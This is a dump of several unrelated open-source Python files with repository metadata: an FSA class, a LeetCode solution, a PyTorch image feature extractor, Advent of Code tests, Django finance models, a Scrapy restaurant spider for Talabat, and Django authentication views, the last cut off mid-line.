in s]\n\n            _id = min.add_node(initial=initial, final=final)\n\n            nodetoset[_id] = s\n            settonode[s] = _id\n\n        for node in min:\n            done = set()\n\n            s = nodetoset[node.get_id()]\n\n            source = self[s[0]]\n            for label in source:\n                edge = source[label]\n\n                if label in done:\n                    continue\n                done.add(label)\n\n                for target in edge:\n                    t = sets[target.get_id()]\n                    min.add_edge(label, node.get_id(), settonode[t])\n\n        self.set_name(min.get_name())\n\n        self.set_initial(min.get_initial())\n        self.set_finals(min.get_finals())\n\n        self.set_nodes(min.get_nodes())\n\n    def reset(self):\n        for node in self:\n            node.set_visited(False)\n\n    def __expand(self, source):\n        L = []\n\n        source.set_visited(True)\n        for label in source:\n            edge = source[label]\n            for target in source[label]:\n                L.append((edge.get_label(), source.get_id(), target.get_id()))\n\n        return L\n\n    def iter(self, iter_type=None):\n        if iter_type is None:\n            iter_type = FSAConstants.BREADTH_FIRST_SEARCH\n\n        if len(self[self.get_initial()]) == 0:\n            raise UnitexException(\"Empty FSA\")\n\n        i = None\n        if iter_type == FSAConstants.DEPTH_FIRST_SEARCH:\n            i = -1\n        elif iter_type == FSAConstants.BREADTH_FIRST_SEARCH:\n            i = 0\n        else:\n            raise UnitexException(\"Unknown iter type: %s\" % iter_type)\n\n        root = self[self.get_initial()]\n        if root.is_visited():\n            self.reset()\n\n        L = self.__expand(root)\n        while L:\n            edge, sid, tid = L.pop(i)\n            yield (edge, sid, tid)\n\n            if not self[tid].is_visited():\n                L += self.__expand(self[tid])\n\n    def save(self, file, encoding=None):\n        if encoding is None:\n            encoding = UnitexConstants.DEFAULT_ENCODING\n\n        with open(file, \"w\", encoding=encoding) as output:\n            output.write(\"digraph Automaton {\\n\\n\")\n            output.write(\"\\tcenter = 1;\\n\")\n            output.write(\"\\tcharset = \\\"%s\\\";\\n\" % encoding)\n            output.write(\"\\trankdir = LR;\\n\")\n            output.write(\"\\tranksep = 1;\\n\")\n            output.write(\"\\tedge [arrowhead = vee];\\n\\n\")\n\n            nodes = set()\n            edges = set()\n\n            for node in self:\n                sid = node.get_id()\n                n1 = \"node%s\" % sid\n\n                if not sid in nodes:\n                    nodes.add(sid)\n\n                    if node.get_id() == self.get_initial():\n                        output.write(\"\\t%s[shape = circle, label = \\\"\\\"];\\n\" % n1)\n                    elif node.is_final():\n                        output.write(\"\\t%s[shape = doublecircle, label = \\\"\\\"];\\n\" % n1)\n                    else:\n                        output.write(\"\\t%s[shape = point, label = \\\"\\\"];\\n\" % n1)\n\n                for label in node:\n                    for target in node[label]:\n                        if (node.get_id(), label, target.get_id()) in edges:\n                            continue\n                        edges.add((node.get_id(), label, target.get_id()))\n\n                        tid = target.get_id()\n                        n2 = \"node%s\" % tid\n\n                        if not tid in nodes:\n                            nodes.add(tid)\n\n                            if target.get_id() == self.get_initial():\n                                output.write(\"\\t%s[shape = circle, label = \\\"\\\"];\\n\" % n2)\n                            elif target.is_final():\n                                output.write(\"\\t%s[shape = doublecircle, label = \\\"\\\"];\\n\" % n2)\n                            else:\n                                output.write(\"\\t%s[shape = point, label = \\\"\\\"];\\n\" % n2)\n\n                        output.write(\"\\t%s -> %s [label = \\\"%s\\\"];\\n\" % (n1, n2, label))\n\n                output.write(\"\\n\")\n\n            output.write(\"}\\n\")\n","repo_name":"patwat/python-unitex","sub_path":"unitex/utils/fsa.py","file_name":"fsa.py","file_ext":"py","file_size_in_byte":15087,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"38"}
{"seq_id":"72607373549","text":"# 珠玑妙算游戏（the game of master mind）的玩法如下。 \n#  计算机有4个槽，每个槽放一个球，颜色可能是红色（R）、黄色（Y）、绿色（G）或蓝色（B）。例如，计算机可能有RGGB 4种（槽1为红色，槽2、3为绿色，槽\n# 4为蓝色）。作为用户，你试图猜出颜色组合。打个比方，你可能会猜YRGB。要是猜对某个槽的颜色，则算一次“猜中”；要是只猜对颜色但槽位猜错了，则算一次“伪猜中”。\n# 注意，“猜中”不能算入“伪猜中”。 \n#  给定一种颜色组合solution和一个猜测guess，编写一个方法，返回猜中和伪猜中的次数answer，其中answer[0]为猜中的次数，answer[\n# 1]为伪猜中的次数。 \n#  示例： \n#  输入： solution=\"RGBY\",guess=\"GGRR\"\n# 输出： [1,1]\n# 解释： 猜中1次，伪猜中1次。\n#  \n#  提示： \n#  \n#  len(solution) = len(guess) = 4 \n#  solution和guess仅包含\"R\",\"G\",\"B\",\"Y\"这4种字符 \n#  \n#  Related Topics 数组\n\n\n# leetcode submit region begin(Prohibit modification and deletion)\nfrom collections import Counter\nclass Solution:\n    def masterMind(self, solution: str, guess: str) -> List[int]:\n        dicts=Counter(solution)\n        dictg=Counter(guess)\n        answer=[0,0]\n        for i in range(len(solution)):\n            if solution[i]==guess[i]:\n                answer[0]+=1\n                dicts[solution[i]]-=1\n                dictg[guess[i]]-=1\n        for i in range(len(solution)):\n            if guess[i] in solution and dicts[guess[i]]>0 and dictg[guess[i]]>0:\n                answer[1]+=1\n                dicts[guess[i]]-=1\n                dictg[guess[i]]-=1\n        return answer\n# leetcode submit region end(Prohibit modification and deletion)\n","repo_name":"GitZW/LeetCode","sub_path":"leetcode/editor/cn/[面试题 16.15]珠玑妙算.py","file_name":"[面试题 16.15]珠玑妙算.py","file_ext":"py","file_size_in_byte":1769,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"73041427952","text":"from torch.nn import Module\nfrom torch import cat\nimport torch\n\nfrom dupimage.helper import get_device, get_dataloader, ImageDataset\n\nclass BaseExtractor(Module):   \n    \"\"\"\n    Must override it \n\n    model \n    device\n    root_dir\n    dataset\n    dataloader\n    labels\n    \"\"\" \n    def __init__(self, root_dir='./', suffix='jpg', batch_size=64, num_workers=1):\n        super().__init__()\n        self.device = get_device()\n        self.root_dir = root_dir\n\n        # Get Dataset and Dataloader objects from root_dir\n        self.dataset = ImageDataset(root_dir=root_dir, suffix=suffix)\n        self.dataloader = get_dataloader(self.dataset, batch_size, num_workers)\n        \n        # Get labels\n        self.labels = [label.split('/')[-2] + '/' + label.split('/')[-1] for label in self.dataset.files]\n    \n    def get_feature_vectors(self, n_components=25088 + 6272):\n        \"\"\"\n        \n        \"\"\"\n        features = None\n\n        # get features\n        for batch in self.dataloader:\n            if self.device != 'cpu':\n                batch[0] = batch[0].to(self.device).float()\n            output = self(batch[0])\n            if features == None:\n                features = output\n            else:\n                features = cat([features, output], dim=0)\n            del batch\n            torch.cuda.empty_cache()\n\n        return features","repo_name":"leibniz21c/Deduplication-of-Retrieved-Image-Data-Using-Deep-Network-Features","sub_path":"module/dupimage/extractor/base_extractor.py","file_name":"base_extractor.py","file_ext":"py","file_size_in_byte":1348,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"15355986941","text":"from unittest import TestCase\n\nfrom day10 import NavSubsystemParser, InvalidClosingTokenError, Day10, LineCompletion\n\nEXAMPLE_INPUT = '''\n[({(<(())[]>[[{[]{<()<>>\n[(()[<>])]({[<{<<[]>>(\n{([(<{}[<>[]}>{[]{[(<()>\n(((({<>}<{<{<>}{[]{[]{}\n[[<[([]))<([[{}[[()]]]\n[{[{({}]{}}([{[{{{}}([]\n{<[[]]>}<{[{[{[]{()[[[]\n[<(<(<(<{}))><([]([]()\n<{([([[(<>()){}]>(<<{{\n<{([{{}}[<[[[<>{}]]]>[]]\n'''.strip()\n\nEXPECTED_SCORE_PART_ONE = 26397\nEXPECTED_SCORE_PART_TWO = 288957\n\nEXPECTED_INCOMPLETE_LINES = [\n    '[({(<(())[]>[[{[]{<()<>>',\n    '[(()[<>])]({[<{<<[]>>(',\n    '(((({<>}<{<{<>}{[]{[]{}',\n    '{<[[]]>}<{[{[{[]{()[[[]',\n    '<{([{{}}[<[[[<>{}]]]>[]]'\n]\n\n\nclass TestDay10(TestCase):\n\n    def setUp(self) -> None:\n        self.sut = Day10(EXAMPLE_INPUT.split(\"\\n\"))\n\n    def test_part_one(self):\n        self.assertEqual(EXPECTED_SCORE_PART_ONE, self.sut.part_one())\n\n    def test_part_two(self):\n        self.assertEqual(EXPECTED_SCORE_PART_TWO, self.sut.part_two())\n\n    def test_only_incomplete_lines_length(self):\n        lines = self.sut.only_incomplete_lines()\n        print(lines)\n        self.assertEqual(5, len(lines))\n        lines = [str(line) for line in lines]\n        self.assertListEqual(sorted(EXPECTED_INCOMPLETE_LINES), sorted(lines))\n\n    def test_completion_scoring(self):\n        self.assertEqual(288957, self.sut.complete_score('}}]])})]'))\n        self.assertEqual(5566, self.sut.complete_score(')}>]})'))\n        self.assertEqual(1480781, self.sut.complete_score('}}>}>))))'))\n\n\nclass TestNavSubsystemParserChunks(TestCase):\n\n    def test_flattening_single_incomplete_chunk_to_string(self):\n        input_str = '['\n        sut = NavSubsystemParser.Chunk(input_str)\n\n        self.assertEqual(input_str, str(sut))\n\n    def test_flattening_single_closed_chunk_to_string(self):\n        opening_char = '['\n        closing_char = ']'\n        sut = NavSubsystemParser.Chunk(opening_char)\n        sut.close(closing_char)\n\n        self.assertEqual(opening_char + closing_char, str(sut))\n\n    def test_flattening_nested_incomplete_chunks_to_string(self):\n        root_opening = '['\n        child_opening = '<'\n        grand_child_opening = '('\n\n        sut = NavSubsystemParser.Chunk(root_opening)\n        child = NavSubsystemParser.Chunk(child_opening)\n        grand_child = NavSubsystemParser.Chunk(grand_child_opening)\n        child.add_child(grand_child)\n        sut.add_child(child)\n\n        self.assertEqual(root_opening + child_opening + grand_child_opening, str(sut))\n\n    def test_flattening_nested_partially_complete_chunks_to_string(self):\n        root_opening = '['\n        child_opening = '<'\n        grand_child_opening = '('\n        grand_child_closing = ')'\n\n        sut = NavSubsystemParser.Chunk(root_opening)\n        child = NavSubsystemParser.Chunk(child_opening)\n        grand_child = NavSubsystemParser.Chunk(grand_child_opening)\n        grand_child.close(grand_child_closing)\n        child.add_child(grand_child)\n        sut.add_child(child)\n\n        self.assertEqual(root_opening + child_opening + grand_child_opening + grand_child_closing, str(sut))\n\n    def test_flattening_example_comple_line(self):\n        input_str = '[({(<(())[]>[[{[]{<()<>>'\n        self.assertEqual(input_str, str(NavSubsystemParser.parse_line(input_str)))\n\n\nclass TestNavSubsystemParser(TestCase):\n\n    def test_parse_line_with_several_root_chunks(self):\n        parsed_line = NavSubsystemParser.parse_line('()[]<>{[]}')\n        self.assertEqual(4, len(parsed_line.chunks))\n\n    def test_parse_line_fails_with_example_1(self):\n        self.assertRaises(InvalidClosingTokenError, NavSubsystemParser.parse_line, '{([(<{}[<>[]}>{[]{[(<()>')\n\n    def test_parse_line_failure_reports_curly_bracket(self):\n        expected_token = '}'\n        try:\n            NavSubsystemParser.parse_line('{([(<{}[<>[]}>{[]{[(<()>')\n        except InvalidClosingTokenError as error:\n            print(error)\n            self.assertEqual(expected_token, error.token)\n        else:\n            self.fail('Should raise InvalidClosingTokenError')\n\n\nclass TestLineCompletion(TestCase):\n    def test_complete_only_root(self):\n        incomplete_root = '{'\n        parsed_line = NavSubsystemParser.parse_line(incomplete_root)\n\n        sut = LineCompletion(parsed_line.chunks)\n        self.assertEqual('}', sut.complete())\n\n    def test_nested_chunks(self):\n        incomplete_line = '[<<>{('\n        parsed_line = NavSubsystemParser.parse_line(incomplete_line)\n\n        sut = LineCompletion(parsed_line.chunks)\n        self.assertEqual(')}>]', sut.complete())\n","repo_name":"scollado/AdventOfCode-2021","sub_path":"tests/test_day10.py","file_name":"test_day10.py","file_ext":"py","file_size_in_byte":4535,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"38650076911","text":"from typing import Iterable\n\nfrom dateutil.rrule import rrulestr\nfrom django.db import models, transaction as db_transaction\nfrom django.utils import timezone\nfrom django.utils.translation import gettext_lazy as _\n\nfrom ..models import BaseModel\nfrom ..settings import Settings\nfrom .validators import validate_rrule\n\n\nclass BaseTransaction(BaseModel):\n\n    class Meta:\n        abstract = True\n\n    timestamp = models.DateField(_('timestamp'), default=timezone.now)\n    amount = models.BigIntegerField(_('amount')) if Settings.USE_BIG_INTEGER else models.IntegerField(_('amount'))\n    description = models.TextField(_('description'))\n\n    # TODO: consider adding currency support (e.g. local_amount and local_currency)\n\n    def __str__(self):\n        return self.description\n\n\nclass RecurringTransaction(BaseTransaction):\n\n    class Meta:\n        verbose_name = _('recurring transaction')\n        verbose_name_plural = _('recurring transactions')\n\n    recurrence = models.TextField(_('recurrence'), validators=[validate_rrule])\n    last_occurred_at = models.DateTimeField(blank=True)\n\n    entity = models.ForeignKey(Settings.FINANCIAL_ENTITY_MODEL, verbose_name=_('entity'), related_name='recurring_transactions', on_delete=models.PROTECT)\n\n    @property\n    def recurrence_rule(self):\n        # Parse recurrence rule\n        return rrulestr(self.recurrence, cache=True)\n\n    @staticmethod\n    def generate_transactions(recurring_transactions: Iterable['RecurringTransaction'] = None):\n        with db_transaction.atomic():\n            # Find recurring transactions if not provided\n            if not recurring_transactions:\n                recurring_transactions = RecurringTransaction.objects.all()\n\n            for recurring_transaction in recurring_transactions:\n                # Parse recurrence rule and determine occurrences between the last occurrence and now\n                if recurring_transaction.last_occurred_at:\n                    occurrences = recurring_transaction.recurrence_rule.between(recurring_transaction.last_occurred_at, timezone.now(), inc=False)\n                else:\n                    occurrences = recurring_transaction.recurrence_rule.before(timezone.now(), inc=False)\n\n                for occurrence in occurrences:\n                    # TODO: replace placeholders in description (date, etc.)\n\n                    # Create transaction\n                    transaction = Transaction(timestamp=occurrence, amount=recurring_transaction.amount, description=recurring_transaction.description,\n                                              entity=recurring_transaction.entity)\n                    transaction.save()\n\n                    # Update last occurrence\n                    recurring_transaction.last_occurred_at = occurrence\n\n                # Save last occurrence\n                recurring_transaction.save()\n\n\nclass Transaction(BaseTransaction):\n\n    class Meta:\n        verbose_name = _('transaction')\n        verbose_name_plural = _('transactions')\n\n    entity = models.ForeignKey(Settings.FINANCIAL_ENTITY_MODEL, verbose_name=_('entity'), related_name='transactions', on_delete=models.PROTECT)\n    recurring_transaction = models.ForeignKey(RecurringTransaction, verbose_name=_('recurring transaction'), related_name='transactions',\n                                              blank=True, null=True, on_delete=models.SET_NULL)\n\n    if Settings.TRANSACTION_SETTLEMENT_ENABLED:\n        settled_by = models.ForeignKey('self', verbose_name=_('settled by'), related_name='settled', blank=True, null=True, on_delete=models.SET_NULL)\n\n    @staticmethod\n    def generate_settlements():\n        with db_transaction.atomic():\n            # Find entities and their balances\n            entities = Settings.get_financial_entity_model().objects.with_balance().all()\n\n            for entity in entities:\n                # Find unsettled transactions\n                transactions = entity.transactions.filter(settled_by__isnull=True, settled__isnull=True)\n\n                # Sanity check for current state\n                if entity.balance != sum([transaction.amount for transaction in transactions]):\n                    raise Exception('Balance and sum of unsettled transactions are not equal.')\n\n                # Check if there is a balance to settle\n                if entity.balance == 0:\n                    continue\n\n                # Create settlement transaction\n                settlement_transaction = Transaction(description=Settings.TRANSACTION_SETTLEMENT_DESCRIPTION, amount=-entity.balance, entity=entity)\n                settlement_transaction.save()\n                settlement_transaction.settled.set(transactions)\n","repo_name":"NixyOrg/django-finances","sub_path":"django_finances/transactions/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":4661,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"38"}
{"seq_id":"38917371389","text":"# -*- coding: utf-8 -*-\nimport image\nimport scrapy\nimport re\nfrom scrapy.shell import inspect_response  # for debugging\nfrom scrapy.http import Request\nimport os, sys; sys.path.append(os.path.dirname(os.path.realpath('webdriver.py')))\nfrom . import webdriver\n\n\nclass restaurantInfo:\n    def __init__(self, basic_data, advanced_data):\n        self.basic_d = basic_data\n        self.advanced_d = advanced_data\n\n\nclass TalabatbotSpider(scrapy.Spider):\n    name = 'talabatBot'\n    mainDomain: str = 'https://www.talabat.com'\n    start_urls = [\"https://www.talabat.com/qatar/restaurants\"]\n    default_location = \"al-mansoura\"\n    custom_settings = {\n        'FEED_URI': 'talabat.json'\n    }\n    item_num = 0\n    possibleLocations = ['ain-khaled?aid=1740', 'onaiza?aid=1700']\n    restaurant_advanced_info = []\n    dataList = []\n\n    # Data processing methods\n    def fix_data_file(self, data):\n        data['type'] = data['@type']\n        data['context'] = data['@context']\n        del data['@type']\n        del data['@context']\n        del data['@id']\n        del data['image']\n\n    def fix_JSON_format(self, obj):\n        new_json = {}   # put menu section after it was modified in here\n        new_json['menuSections'] = []\n        new_json['menu_id'] = obj['result']['menu']['id']\n\n        menuSection = obj['result']['menu']['menuSection'] # a list of menu sections\n        for section in menuSection:\n            new_json['menuSections'].append({'sectionName': section['nm'], 'items': self.fix_item_list(section['itm']) })\n\n        return new_json\n\n    def fix_item_list(self, item_list):\n        new_item_list = []\n        for item in item_list:\n            new_item = {'name'   : item['nm'],\n                        'itemID' : item['id'],\n                        'rating' : item['rt'],\n                        'price'  : item['pr'],\n                        'image'  : item['img'],\n                        'description' : item['dsc']}\n            new_item_list.append(new_item)\n\n        return new_item_list\n\n    # Parse is called whenever the spider successfully crawls a URL\n    # Response object is automatically filled with page info and passed here\n    def parse(self, response):\n        \"\"\"\n        Step 1: Main parse callback, crawling starts here \"talabat/qatar/allRestaurants\"\n        Gather: None\n        Fetch : All restaurant links\n        \"\"\"\n\n        restaurant_list = webdriver.runScrollDriver(self.start_urls[0])\n        for restaurant in restaurant_list:\n            yield scrapy.Request(f\"{self.mainDomain}/qatar/{restaurant}\", callback=self.parse_restaurant_page)\n\n\n    def parse_restaurant_page(self, response):\n        \"\"\"\n        Step 2: Parsing individual restaurant pages \"talabat/qatar/specificRestaurant\"\n        Gather: basic info (e.g Restaurant Name)\n        Fetch : Link to Menu page\n        \"\"\"\n\n        # 1) Get the json file containing all restaurant information\n        try:\n            # Get the basic data of restaurant\n            self.data = self.get_JSON_File(response)[0]\n            if (self.data['@type'] != 'Restaurant' and self.data['@type'] != 'restaurant'):\n                return {response.url : 'Not restaurant'}\n            self.fix_data_file(self.data)\n            self.dataList.append(self.data)\n            restaurant_ID = re.findall(\"bid:\\d\\d\\d\\d\\d\", response.css(\"script\").extract()[22])[0][4:]\n            valid_locations = re.findall(\"Al \\w+\", self.data['description'])\n            if (len(valid_locations) == 0):\n                valid_locations = re.search(\"Umm \\w+\", self.data['description']).group()\n\n            # 2) search for the mainModel JSON\n            text = response.xpath(\"//script[@type='text/javascript']\").extract()[8]\n            result = re.search('id:\\d\\d\\d\\d,cid:\\d\\d,cn:\"\\w+\",an:\"\\D+\"', text).group()\n            result = result.split('\"')\n            valid_location = result[-2].replace(\" \", \"-\")\n            aid = result[0][3:7]\n            valid_location = valid_locations[0].rstrip().replace(\" \", \"-\")\n        except:\n            self.item_num += 1\n            while (len(self.restaurant_advanced_info) < len(self.dataList)):\n                self.restaurant_advanced_info.append(None)\n            return {response.url : self.data}\n\n        # 3) Get URL to menu page\n        menu_url = f\"https://www.talabat.com/qatar/restaurant/{restaurant_ID}/{valid_location}?aid={aid}\"\n        return scrapy.Request(menu_url, callback=self.parse_menu_page)\n\n    def get_JSON_File(self, response):\n        \"\"\" Method to get JSON file from a url \"\"\"\n        items_list = webdriver.runWebDriverJSON(response.url)\n        return items_list\n\n    # Step 3: Main parse, parse information from the restaurant\n    # Parse Menu items / prices / working hours / etc\n    def parse_menu_page(self, response):\n        # Skip page if we were redirected to homepage from previous step\n        if response.url == 'https://www.talabat.com/qatar':\n            self.item_num += 1\n            return {f\"could not parse {self.dataList[-1]['url']}\": None}\n        self.restaurant_advanced_info.append(webdriver.runWebDriverMenuPage(response.url))\n        self.restaurant_advanced_info[-1] = self.fix_JSON_format(self.restaurant_advanced_info[-1])\n        self.item_num += 1\n        if (self.restaurant_advanced_info[self.item_num-1] and self.dataList[self.item_num-1]):\n            return { str(self.item_num-1): {**self.dataList[self.item_num-1], **self.restaurant_advanced_info[self.item_num-1]} }\n","repo_name":"M-aljawaheri/TalabatCrawl","sub_path":"QBScraper/QBScraper/spiders/talabatBot.py","file_name":"talabatBot.py","file_ext":"py","file_size_in_byte":5445,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"29929489653","text":"from .models import send_verification_mail\nfrom .serializers import ( SignupSerializer,\n                           SigninSerializer,\n                           VerifyOTPSerializer,\n                           RefreshTokenSerializer,\n                           ProfileSerializer,\n                           MobileSerializer,\n                           EmailSerializer,\n                           ChangePasswordSerializer,\n                           ChangeMobileSerializer,\n                           ChangeEmailSerializer )\nfrom .utils import ( create_new_session, \n                     create_user_with_profile,\n                     generate_username,\n                     jwt_encode_handler, \n                     send_otp )\n\nfrom datetime import datetime\nfrom django.contrib.auth.models import User\nfrom django.contrib.auth import authenticate\nfrom django.core.cache import cache\nfrom django.conf import settings\nfrom jwt import decode\nfrom logging import getLogger\nfrom random import choice\nfrom rest_framework.views import APIView\nfrom rest_framework.response import Response\nfrom rest_framework import status\nfrom rest_framework.permissions import AllowAny\nfrom string import ascii_letters, digits\n\n\nlogger = getLogger(__name__)\n\n\nclass Signup(APIView):\n    \"\"\"\n    post:\n        verify the submitted form, save form in cache, generate username and send OTP\n    \"\"\"\n    permission_classes = [AllowAny]\n\n\n    def post(self, request, format=None):\n        django_client_user_agent = ''\n        signup_ser = SignupSerializer(data=request.data)\n        # return response 400 with errors in response\n        signup_ser.is_valid(raise_exception=True)\n        validated_data = signup_ser.validated_data\n        username = generate_username(6)\n        otp = send_otp(validated_data['mobile'])\n        if otp is None:\n            return Response({'detail': 'OTP send failed.'}, status=status.HTTP_500_INTERNAL_SERVER_ERROR)\n        validated_data['otp'] = otp\n        cache.set(f\"{username}SIGNUP\", validated_data)\n\n        logger.debug(cache.get(f\"{username}SIGNUP\"))\n        if settings.DEBUG and request.META.get('user_agent') == django_client_user_agent:\n            return Response({'id': username, 'otp': otp}, status=status.HTTP_200_OK)\n        else:\n            return Response({'id': username}, status=status.HTTP_200_OK)\n\n    def get_serializer(self, **kwargs):\n        return SignupSerializer()\n\n\nclass DoesMobileExist(APIView):\n    \"\"\"\n    post:\n        check if the mobile number exists in db.\n    \"\"\"\n\n    permission_classes = [AllowAny]\n\n    def post(self, request, format=None):\n        mobile_ser = MobileSerializer(data=request.data)\n        mobile_ser.is_valid()\n        if 'mobile' in mobile_ser.errors:\n            for error in mobile_ser.errors.get('mobile'):\n                if error.code == 'unique':\n                    return Response({'mobile': ''}, status=status.HTTP_200_OK)\n        # if no exception is raised then it means mobile doesnt exist\n        return Response({'mobile': 'unique'}, status=status.HTTP_200_OK)\n\n\nclass DoesEmailExist(APIView):\n    \"\"\"\n    post:\n        check if the mobile number exists in db.\n    \"\"\"\n\n    permission_classes = [AllowAny]\n\n    def post(self, request, format=None):\n        email_ser = EmailSerializer(data=request.data)\n        email_ser.is_valid()\n        if 'email' in email_ser.errors:\n            for error in email_ser.errors.get('email'):\n                if error.code == 'unique':\n                    return Response({'email': ''}, status=status.HTTP_200_OK)\n        # if no exception is raised then it means mobile doesnt exist\n        return Response({'email': 'unique'}, status=status.HTTP_200_OK)\n\n\n\nclass VerifyOTP(APIView):\n    \"\"\"\n    post:\n        verify the OTP corresponding to the username and create_user\n    \"\"\"\n    permission_classes = [AllowAny]\n\n    def post(self, request, format=None):\n        verify_otp_ser = VerifyOTPSerializer(data=request.data)\n        verify_otp_ser.is_valid(raise_exception=True)\n        validated_data = verify_otp_ser.validated_data\n        user = create_user_with_profile(validated_data)\n        if user:\n            token, refresh_token, session_key = create_new_session(user.username)\n            return Response({'token': token, 'refresh_token': refresh_token, 'session_key': session_key}, status=status.HTTP_201_CREATED)\n        else:\n            return Response(status=status.HTTP_401_UNAUTHORIZED)\n    \n    def get_serializer(self, **kwargs):\n        return VerifyOTPSerializer()\n\n\nclass VerifyEmail(APIView):\n    \"\"\"\n    get:\n        verify the mail id corresponding to the username \n        and set is_mail_verified in meta_profile\n    \"\"\"\n    permission_classes = [AllowAny]\n\n    def get(self, request, key, username, format=None):\n        saved_key = cache.get(f\"{username}MAIL_VERIFICATION_KEY\")\n        cache.delete(f\"{username}MAIL_VERIFICATION_KEY\")\n        if saved_key == key:\n            # Set corresponding is_mail_verified true\n            user = User.objects.get(username=username)\n            user.mainprofile.is_mail_verified = True\n            user.save()\n            return Response(status=status.HTTP_200_OK)\n        else:\n            return Response({'non_field_errors': ['MALATTEMPT']}, status=status.HTTP_400_BAD_REQUEST)\n\n\n\nclass ResendVerifyEmail(APIView):\n    \"\"\"\n    get:\n        resend the verification link to user's associated mail\n        code - PRE_VERIFIED if mail has already been verified\n        just send GET on the URL when user is logged in. No params required.\n    \"\"\"\n    def get(self, request, format=None):\n        if request.user.mainprofile.is_mail_verified:\n            return Response({'error': 'PRE_VERIFIED'}, status=status.HTTP_200_OK)\n        else:\n            sent_link = send_verification_mail(request.user.username, request.user.email)\n            logger.debug(sent_link)\n            if sent_link:\n                if settings.DEBUG:\n                    return Response({'link': sent_link}, status=status.HTTP_200_OK)\n                return Response(status=status.HTTP_200_OK)\n            else:\n                return Response({'error': 'SEND_FAIL'}, status=status.HTTP_500_INTERNAL_SERVER_ERROR)\n\n\nclass Profile(APIView):\n    \"\"\"\n    get:\n        get the full profile of user\n    put:\n        updates the requested field in user profile\n    \"\"\"\n    def get(self, request, format=None):\n        return Response({\n            'mobile': request.user.mainprofile.mobile,\n            'email': request.user.email,\n            'first_name': request.user.first_name,\n            'last_name': request.user.last_name,\n            'business_name': request.user.mainprofile.business_name,\n            'gstin': request.user.mainprofile.gstin,\n            'address': request.user.mainprofile.address\n        }, status=status.HTTP_200_OK)\n\n    def put(self, request, format=None):\n        update_profile_ser = ProfileSerializer(data=request.data)\n        update_profile_ser.is_valid(raise_exception=True)\n        validated_data = update_profile_ser.validated_data\n        for field, update_value in validated_data.items():\n            if hasattr(request.user, field):\n                setattr(request.user, field, update_value)\n            elif hasattr(request.user.mainprofile, field):\n                setattr(request.user.mainprofile, field, update_value)\n            # meta profile fields can be added in future and same logic will apply\n            # the serializer model would require being extended if metaprofile needs to be made updatable\n        request.user.save()\n        return Response(status=status.HTTP_200_OK)\n\n    def get_serializer(self, **kwargs):\n        return ProfileSerializer()\n\n\nclass ChangePassword(APIView):\n    \"\"\"\n    get:\n        get otp on registered mobile to change password\n    put:\n        change the password field in user profile\n    \"\"\"\n    def get(self, request, format=None):\n        otp = send_otp(request.user.mainprofile.mobile)\n        logger.debug(otp)\n        cache.set(f\"{request.user.username}CHANGE_PASS_OTP\", otp)\n        if settings.DEBUG:\n            return Response({'otp': otp}, status=status.HTTP_200_OK)\n        else:\n            return Response(status=status.HTTP_200_OK)\n\n    def put(self, request, format=None):\n        change_pass_ser = ChangePasswordSerializer(data=request.data, context={'username': request.user.username})\n        change_pass_ser.is_valid(raise_exception=True)\n        validated_data = change_pass_ser.validated_data\n        if validated_data:\n            request.user.set_password(validated_data)\n            request.user.save()\n            return Response(status=status.HTTP_200_OK)\n        else:\n            return Response(status=status.HTTP_500_INTERNAL_SERVER_ERROR)\n\n    def get_serializer(self, **kwargs):\n        return ChangePasswordSerializer()\n\n\nclass ChangeMobile(APIView):\n    \"\"\"\n    get:\n        get otp on mobile number to be changed, takes mobile number as URL Part\n    put:\n        change the mobile field in user profile -> mainprofile, takes mobile number with which OTP was generated as URL Part\n    \"\"\"\n    def get(self, request, mobile, format=None):\n        otp = send_otp(mobile)\n        logger.debug(otp)\n        cache.set(f\"{request.user.username}CHANGE_MOBILE_OTP\", {'otp': otp, 'mobile': mobile })\n        if settings.DEBUG:\n            return Response({'otp': otp}, status=status.HTTP_200_OK)\n        else:\n            return Response(status=status.HTTP_200_OK)\n\n    def put(self, request, mobile, format=None):\n        change_mobile_ser = ChangeMobileSerializer(data=request.data, context={'username': request.user.username, 'mobile': mobile})\n        change_mobile_ser.is_valid(raise_exception=True)\n        validated_data = change_mobile_ser.validated_data\n        if validated_data:\n            request.user.mainprofile.mobile = validated_data\n            request.user.save()\n            return Response(status=status.HTTP_200_OK)\n        else:\n            return Response(status=status.HTTP_500_INTERNAL_SERVER_ERROR)\n\n    def get_serializer(self, **kwargs):\n        return ChangeMobileSerializer()\n\n\nclass ChangeEmail(APIView):\n    \"\"\"\n    put:\n        change the email field in user model\n        SEND_FAIL_BUT_SAVED means the mail was not sent but the mail has been updated in profile \n        and is_mail_verified has been set to False\n    \"\"\"\n    def put(self, request, format=None):\n        change_email_ser = ChangeEmailSerializer(data=request.data)\n        change_email_ser.is_valid(raise_exception=True)\n        validated_data = change_email_ser.validated_data\n\n        email = validated_data['email']\n        request.user.email = email\n        request.user.mainprofile.is_mail_verified = False\n        request.user.save()\n        \n        sent_link = send_verification_mail(request.user.username, email)\n        if sent_link:\n            if settings.DEBUG:\n                return Response({'link': sent_link}, status=status.HTTP_200_OK) \n            else:\n                return Response(status=status.HTTP_200_OK)\n        else:\n            return Response({'error': 'SEND_FAIL_BUT_SAVED'}, status=status.HTTP_500_INTERNAL_SERVER_ERROR)\n\n        return Response(status=status.HTTP_200_OK)\n    \n    def get_serializer(self, **kwargs):\n        return ChangeEmailSerializer()\n\n\nclass Signin(APIView):\n    \"\"\"\n    post:\n        signs the user in to server\n    \"\"\"\n    permission_classes = [AllowAny]\n\n    def post(self, request, format=None):\n        signin_ser = SigninSerializer(data=request.data)\n        signin_ser.is_valid(raise_exception=True)\n        validated_data = signin_ser.validated_data\n        user = authenticate(**validated_data)\n        # save this in frontend's local storage\n        session_key = ''.join([choice(ascii_letters+digits) for i in range(32)])\n        if user is None:\n            return Response(status=status.HTTP_401_UNAUTHORIZED)\n\n        else:\n            token, refresh_token, session_key = create_new_session(user.username)\n            return Response({'token': token, 'refresh_token': refresh_token, 'session_key': session_key}, 